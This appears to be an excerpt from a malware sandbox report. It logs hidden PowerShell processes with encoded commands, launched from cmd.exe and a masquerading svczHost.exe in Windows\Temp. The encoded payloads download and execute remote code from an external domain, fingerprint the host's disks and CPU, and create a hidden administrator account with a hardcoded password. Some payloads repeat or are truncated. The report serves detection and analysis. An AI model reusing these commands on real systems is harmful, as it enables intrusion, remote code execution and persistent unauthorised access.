Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA=="
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA=="			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwAD
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA==	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwAD
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwB